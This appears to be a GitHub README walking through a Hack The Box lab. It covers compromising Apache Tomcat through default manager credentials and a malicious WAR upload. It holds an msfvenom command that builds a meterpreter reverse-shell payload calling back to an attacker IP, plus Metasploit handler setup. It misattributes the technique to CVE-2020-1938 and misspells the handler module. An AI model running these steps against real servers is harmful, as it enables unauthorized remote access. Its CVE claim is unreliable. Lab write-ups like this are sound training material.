hopsypopsy8/cve-2020-1938-exploitationStep-by-step walkthrough for exploiting CVE-2020-1938 (Apache Tomcat arbitrary JSP upload to RCE) using msfvenom and Metasploit in a Hack The Box lab environment.
CVE-2020-1938 is a critical vulnerability which impacts Apache Tomcat from 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99 ⚠️ This was exploited in a Hack The Box lab.
🔗 Reference: NIST NVD Entry
The website has default credentials for Server Status feature.
This interface indicates that the version is Apache Tomcat/7.0.88, 64 bit architecture.
From this interface we traverse to list applications which exposes a .war file Upload feature.
On successful upload the .war file is executed at /directory/filename
Research into the Apache Tomcat version confirmed vulnerability to CVE-2020-1938
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war
Using msfvenom which is a metasploit payload generator we generate our exploit.war payload.
After file generation, go into the file and find the name of the .jsp file e.g. gcvxdtmxvw.jsp and save it for later.
msfconsole
use exploit/multi/hanlder
Set LHOST 10.10.14.3
Set LPORT 3004
Using msfconsole we setup a listener which waits for our payload to be executed.
We upload our image in the deploy section, after which refresh the screen and find that the file has successfully been uploaded. To finish the exploit we must navigate to the path ip/hacked/gcvxdtmxvw.jsp.
This hangs the request however we are able to see locally on our machine that we have a reverse connection.